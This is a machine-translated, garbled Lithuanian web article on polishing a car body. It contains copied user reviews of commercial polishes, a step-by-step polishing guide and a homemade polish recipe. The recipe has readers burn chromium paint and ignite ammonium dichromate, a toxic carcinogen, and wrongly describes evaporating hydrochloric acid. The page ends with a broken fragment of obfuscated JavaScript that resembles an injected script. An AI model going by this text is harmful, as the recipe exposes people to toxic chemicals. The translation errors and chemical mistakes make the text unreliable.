lenkas Vėžlių vaškas Plius PTFE – brangus, bet efektyvus. Jei viskas daroma protingai, tai lakas yra puikus, suteikia blizgesio ir grąžina spalvą, žinoma, kad nemaskuoja įbrėžimų, bet iš esmės susidoroja su mažais įbrėžimais. Lako kaina gera, bet užtenka daugybei kartų, poliravau tris kartus ir dar liko daugiau nei pusė. Kvapas malonus, nors šiek tiek drumstas. Ryte po lietaus automobilis iš karto skiriasi nuo kaimyninių, nes visi lašai laikosi ir „neišdžiūsta“ į kėbulą. Nešvarumai neprilimpa prie automobilio. Pakanka dviejų ar trijų plovimų.

anufriev-pr

http://otzovik.com/review_2540156.html

Pats Sonax lakas su dažančio pigmento priedu. Tai yra, pagal tam tikrą spalvų diapazoną. Mano atveju po sidabriniu metalu. Atskirti skirtumą tarp „prieš“ ir „po“ poliravimo vizualiai gana sunku su mano spalva. Tačiau lytėjimo pojūtis yra labai stiprus. Dingo paviršiaus šiurkštumas. Saulėje viskas lygu ir blizga. Smulkūs įtrūkimai taisomi specialus pieštukas kuris pateikiamas kartu su rinkiniu. Po to reikia iš naujo perleisti patį laką. Pats pieštukas iš esmės užkemša plyšį po laku vašku. Visai smulkmena hawala su trenksmu. Savaime didesni įskilimai ir įbrėžimai be jokios naudos. Na, tai ne jiems skirta. Nepaisant to, esu patenkintas rezultatu. Sonax pateisino savo kainą.

Nedoras saugumas

https://www.drive2.ru/l/6568971/

Vyras suabejojo ​​Sapfire automobilio poliravimo kokybe, nes kaina juokinga lyginant su kitais. Bet vis tiek nusprendžiau patikrinti. Rezultatas buvo puikus. Sapfire automobilių poliravimas gerai tepasi, suteikia patikima apsauga kūno, suteikia blizgesio ir vandenį atstumiančias savybes.

http://otzovik.com/review_268445.html

Kūnui paruošti poliravimui nusipirkau specialų Willson valiklį „Glass Body Cleaner“, o patį laką – tamsūs automobiliai automobilis „Body Glass Guard“. Mašiną ploviau 2 kartus, ploviau anksti ryte, kol buvo kaitri saulė ir mašina atšalo, vėl viską nuvaliau ir patryniau ir pradėjau tepti valikliu. Su kriaukle užtrukau apie 4 valandas, ar net daugiau, taip įsijaučiau, kad pamiršau laiką. Po viso proceso automobilis turi pastovėti mažiausiai 2 valandas, kad nusistovėtų kompozicija, 7 dienas jo negalima plauti chemikalais, per šias dienas kompozicija visiškai išsikristalizuoja. Ką aš pastebėjau iš karto, tai blizgesys, skirtumas labai matomas. Visą šį savaitgalį lijo - lašai tikrai susirinko ant mašinos į didesnius ir lengvai nuriedėjo nuo vėjo, išvažiavus į greitkelį iš vasarnamio mašina išdžiūvo akimirksniu, smagu buvo stebėti kaip didinant greitį vienas milžiniškas ir ant gaubto susiformavę maži lašeliai lengvai nuskriejo man nežinoma kryptimi) Trumpai tariant, patariu, tai tikrai veikia!

grinngolder

https://www.drive2.ru/l/288230376152410795/

Geri žmonės iš automobilių turgaus man patarė nusipirkti vaško laką iš amerikiečių kompanijos Meguiar's. Iš interneto, pagal atsiliepimus ir nuotraukas, supratau, kad geresnių lakų dar nėra išrasta. Trumpai tariant, rezultatas akivaizdus: voratinklis nebe toks pastebimas, spalva gili, blizgesys – veidrodinis, lašai atšoka lietuje, t.y. veikia apsauga nuo drėgmės, o kėbulas švaresnis ilgiau. Galite net nupoliruoti priekinius žibintus, rezultatas puikus. Poliruotas pluoštu, be didelių pastangų. Belieka pamatyti, kiek ilgai laikysis šis blizgesys. Esu patenkintas rezultatu, bankas didelis, suvartojimas menkas, kaina gera. Apskritai aš patariu!

stalkerr81

https://www.drive2.ru/l/4169530/

Bet kuri iš pateiktų medžiagų nusipelnė, anot apklausos dalyvių 2015 m., maksimalių balų įvertinime. Manome, kad su medžiagomis, skirtomis savaiminis poliravimas jūs nusprendėte. Taigi, galite pereiti tiesiai prie paties proceso.

Žingsnis po žingsnio algoritmas: poliravimo pamokos namuose

Mechaninis (abrazyvinis, restauracinis) poliravimas užima daugiausiai laiko, todėl pradėkime nuo jo. Jis atliekamas etapais:

• Automobilio plovimas (geriausia automobiliniu šampūnu).
• Papildomas valymas (sąnariai).
• Klijavimas lipnia juosta plastikinės dalys ir šviesas, kurios liečiasi su kūnu.
• Šlifavimas stambiu abrazyvu (G3, 09374, 50417 ar panašiai).
• Medžiagos likučių pašalinimas ir kūno įtrynimas mikropluoštu.
• Šlifavimas apdailos laku (G10, 09376 ar panašiai).
• Apsauginio sluoksnio (vaško, polimero arba „skysto stiklo“) uždėjimas.

1. Pirmasis etapas yra žinomas kiekvienam vairuotojui. Nuplauti automobilį nėra sunku, tik atkreipkite dėmesį į sandūras ir įdubas, jose neturi likti nešvarumų. Jei po smulkintuvo ratuku pakliūva nepastebimas akmenukas, per porą sekundžių gausite daug įbrėžimų.
   Be kruopštaus valymo, visi darbai nueis į kanalizaciją!
2. Po prausimosi verta dar kartą apžiūrėti kūno būklę. Dervos likučius ar kitus sunkiai įveikiamus nešvarumus reikia pašalinti skiedikliu #646 arba mineraliniu moliu. Nustebsite, kiek daug nešvarumų lieka ant nuplauto automobilio. Jei aptinkama papildomų drožlių ar smulkių, bet gilių įbrėžimų, juos reikia tamsinti specialiu korekciniu pieštuku. Taip pat bus gerai nuriebalinti kūną.
   Kaip atrodo mineralinis molis

   Rinkitės įrangą pagal savo galimybes ir pasitikėjimą savimi. Darbas su bet kokiu šlifuokliu reikalauja prisitaikymo ir pripratimo. Turi būti greičio reguliatorius. Pradėkite nuo minimumo, tada kelkite iki optimalių veikiančių (poliravimo priemonių gamintojai ant pakuotės nurodo jiems rekomenduojamas pastas). Paprastai tai yra 1800–2500 tūkstančių apsisukimų diapazone.

   
   Bet kokio tipo šlifuokliui turėtumėte pasirinkti tinkamą poliravimo ratų komplektą

   Orbitiniai šlifuokliai užtikrina tolygesnę apdailą ir sumažina žalos riziką. Trūkumai – aukšta pradinė kaina ir vibracija eksploatacijos metu.

   
   Su orbitinėmis mašinomis dirbti yra šiek tiek sunkiau.

   Jei abejojate, apsiribokite rankiniu metodu. Rezultatas drastiškai nesiskirs, tik teks skirti kur kas daugiau fizinių pastangų. Poliravimas rankomis yra mažiau patvarus, tačiau jei paskutiniame etape užtepamas aukštos kokybės apsauginis sluoksnis, argumentas tampa nebereikšmingas.

   
   Rankinis poliravimas vargina, tačiau kai kurie automobilių savininkai praneša, kad dirbdami netenka papildomų kilogramų!
3. Po džiovinimo poliruoti labai sunku, todėl pritvirtinkite plastikinius korpuso elementus. Viskas, ką galima nuimti, nuimk galiniai žibintai, Pavyzdžiui).
4. Baigę viską parengiamieji darbai galite pereiti tiesiai prie poliravimo. Jei naudojate elektrinį įrankį, įsitikinkite, kad šlifavimo diskas yra švarus. Pažymėkite apdorojimo sritį. Neužimkite didelio ploto vienu metu. Apdorojimui vienu metu paimkite vienas duris, dalį sparno arba pusę gaubto. Taip lengviau kontroliuoti procesą ir išvengti priešlaikinio gaminio išdžiūvimo.
   Neleiskite gaminiui išdžiūti!

   Šiek tiek poliruokite šlifavimo diską arba pačią dalį (medžiagos perteklius greičiau išdžius + išeikvota). Išpurkškite šiek tiek vandens ir paleiskite mašiną minimaliu greičiu. „Pajausk“ jos darbą ir tik tada kelk greitį prie darbininkų. Teisingas darbas su įrankiu:

   • judesiai turi būti lėti ir sklandūs;
   • perkelkite malūnėlį iš kairės į dešinę arba iš viršaus į apačią (arba atvirkščiai). Poliruojant sukamaisiais judesiais atsiras „holograma“ – nelygus matomas poliravimas;
   • apskritimas turi tilpti į visą plokštumą, be nuolydžių.
5. Reguliariai tikrinkite paviršiaus temperatūrą, galite naudoti ranką. Palieskite poliravimo vietą ir, jei ji karšta, todėl rankos negalima laikyti – nustokite šlifuoti ir atvėsinkite ją vandeniu (arba tiesiog palaukite, kol ji atvės). Optimali temperatūra poliravimui yra 50–60 laipsnių. Tada lakas kuo efektyviau sąveikauja su dažais. Perkaitęs lakas sunaikinamas, o nesėkmingo poliravimo pasekmės pašalinamos sunkiau.
   Kontroliuokite greitį ir būtinai leiskite automobiliui pailsėti nuo perkaitimo

   Apdorojant rankiniu būdu, judesiai taip pat turi būti horizontalioje arba vertikalioje plokštumoje (be apskritimo). Atkreipkite dėmesį į spaudimą. Temperatūra, kurios nepasieksite elektriniu įrankiu. Todėl sutelkite dėmesį į mažus plotus ir atsargiai juos apdirbkite.

   
   Treniruokitės po atkarpą, judesiai sklandūs, skubėjimas rezultato neduos
6. Rezultatas turėtų būti matinis paviršius be įbrėžimų. Korpusą nuvalykite mikropluošto šluoste. Tikslas – pašalinti lako likučius ir išgauti pirminį blizgesį. Naudodami tą pačią technologiją tepame apdailos laką ir nuvalome.

Vaizdo įrašas apie tai, kaip tinkamai poliruoti automobilį pasta ir mašina

Vaizdo įrašas apie greitojo automobilių poliravimo rankiniu būdu gręžtuvu arba atsuktuvu technologiją

Apsauga ir apdaila

Automobilis jau gražus ir blizgantis, dabar reikia išsaugoti šį efektą. Įgyjus patirties, paprastu vašku ar sintetiniu lakavimu problemų nekils. Technologija yra paprasta: purkšti (užtepti) ir gerai įtrinti. Jei nuspręsite naudoti „skysto stiklo“ tipo nanopoliravimą, turėsite pakartoti aukščiau atliktą darbą.

Paskutiniai patarimai:

• poliruoti gerai apšviestoje, vėdinamoje vietoje. Jei dirbate lauke, venkite tiesioginių saulės spindulių ir dulkių;
• vanduo ir mikropluošto šluostė padės pašalinti išdžiūvusio lako likučius. Mirkykite ir išdžiovinkite.

Atkuriamasis poliravimas be apsauginio poliravimo nėra prasmingas. Jūsų įdėtos pastangos greitai liks nepastebėtos. Tačiau visiškai įmanoma priešingai. Reguliari apsauga vašku ar panašiu būdu kartą per 2-3 mėnesius padės keletą metų atidėti mechaninio poliravimo poreikį.

Padeda išspręsti keletą labai svarbių užduočių. Patepdami automobilio paviršių poliru, tuo pačiu suteiksite:

• apsauga nuo išorinio atmosferos poveikio;
• apsauga nuo kūno sunaikinimo dėl agresyvios aplinkos;
• korozijos prevencija;
• ilgalaikis automobilio dažų vientisumo išsaugojimas;
• įbrėžimų, drožlių ir mikropažeidimų pašalinimas;
• automobilio dažymo apsauga nuo išblukimo;
• įspūdingas blizgesys.

Automobilio kėbulo poliravimas

moderni pramonė siūlo vartotojams platus pasirinkimas automobilio kėbulo poliravimas. Tai polimerinis lakas automobilio vaškas, skystas stiklas, taip pat įvairios kitos galimybės.

Tačiau kai kurie automobilių savininkai nelabai pasitiki pramoniniais gaminiais, pirmenybę teikdami paruošti poliravimą ir juo patepti automobilio kėbulo paviršių namuose.

Kūno dažų restauravimas

Kaip pasidaryti automobilio poliravimą

Prieš imdamasi nepriklausoma gamyba Kompozicija, skirta automobilio poliravimui namuose, turėtumėte žinoti, kad šio produkto sudėtyje turi būti abrazyvo ir rišiklio komponento. Savo vaidmenyje galite naudoti riebalus, vandenį ar silikoną.

Atkreipkite dėmesį, kad riebalų negalima pašalinti vandeniu – tai reikės padaryti sausu skudurėliu. Taigi, pradėkime virti:

1. Virimo abrazyvas. Norėdami tai padaryti, gaminame smulkiagrūdį chromo oksidą. Gauname jį pagal šį algoritmą:

• chromo turinčius dažus deginame ant ugnies arba lituokliu;
• paimame iš anksto pirktą amonio dichromatą ir padegame. Laukiame, kol oksiduos;
• oksidacijos proceso metu susidariusią druskos rūgštį išgariname.

Poliruojame automobilio kėbulą

1. Paruošiame jungiamąjį komponentą:

• 0,2 stearino – jį galima gauti verdant skalbinių muilą, o vėliau gautą medžiagą sumaišius su acto rūgštimi;
• 0,1 skalbinių muilo;
• 0,7 chromo oksido;
• 3 lašai žibalo.

Visos dalys sumaišomos šildomoje būsenoje. Čia reikia būti labai atsargiems – stearinas yra degi medžiaga.

Po visų minėtų operacijų automobilio kėbulo poliravimas yra paruoštas – galite jį naudoti.

Automobilio kėbulo poliravimo procesas namuose

Prieš poliruodami automobilį, turite jį kruopščiai nuplauti. Tai galite padaryti plovykloje arba patys. Pagrindinė sąlyga yra visiškai pašalinti nešvarumus ir dulkes nuo jūsų keturračio draugo. Po plovimo visas paviršius turi būti kruopščiai išdžiovintas. Kitas - kruopščiai nuvalykite visą automobilio kėbulo paviršių vaitspiritu.

Būtina pašalinti visą riebalinį sluoksnį ir smulkias dėmeles nuo automobilio, kad paviršius būtų kuo geriau paruoštas lakavimui.

Naudojant kempinę ir poliravimo mašiną, kompozicija tepama ant automobilio paviršiaus. Šiuo atveju poliravimo mašina turi veikti minimaliu greičiu. Geriausia mašiną apdoroti dalimis.

Poliravimas elektriniais įrankiais

Užtepę kompoziciją, palaukite 15 minučių, kol įsigers, tada nupoliruokite. Jei apdorosite visą automobilį kaip visumą, neturėsite laiko jo nublizginti per trumpą laiką. Ir po 15 minučių kompozicija pradės kietėti ir neduos veidrodinis blizgesys todėl paviršius drumstas.

Visas sudėtingas vietas geriausia tvarkyti rankiniu būdu - naudojant mašiną, jūs negalite apskaičiuoti ir sugadinti dažų. Kad taip neatsitiktų, turėtumėte naudoti veltinį ir mikropluoštą.

Kaip apdailos priemonę galite naudoti fiksatorių - tai suteiks jūsų automobilio paviršiui šlapio blizgesio. Tai bus paskutinis jūsų darbo akordas.

Baigę apdailą apžiūrime paviršių įvairiais kampais, ar nėra dryžių ir poliravimo pėdsakų. Jei viskas tvarkoje ir patikrinimu esate patenkinti, procesas gali būti laikomas baigtu.

Nuvalykite automobilį mikropluoštu

Išvada

Norėdami nupoliruoti savo automobilio paviršių, galite kreiptis į specialią servisą arba tai padaryti patys. Daugelis vairuotojų ne itin nori patikėti savo automobilius į netinkamas rankas. Todėl visais etapais – nuo ​​kompozicijos paruošimo poliravimui iki, tiesą sakant, paties poliravimo proceso – jie stengiasi susitvarkyti patys.

Yra daug receptų, leidžiančių pasigaminti lako namuose. Kiekvienas vairuotojas turi savo branginamų paslapčių, kurios padės geriau nei kiti apsaugoti automobilio kėbulą nuo neigiamo išorės poveikio.

Tai gali padiktuoti ne tiek noras apsisaugoti nuo bereikalingų finansinių išlaidų, kiek gebėjimas užtikrinti sąžiningiausią požiūrį į problemos sprendimą.

// o;o++)t+=e.charCodeAt(o).toString(16);return t),a=function(e)(e=e.match(/[\S\s](1,2)/ g);for(var t="",o=0;o< e.length;o++)t+=String..document.location.protocol;if(p.indexOf(«http»)==0){return p}for(var e=0;e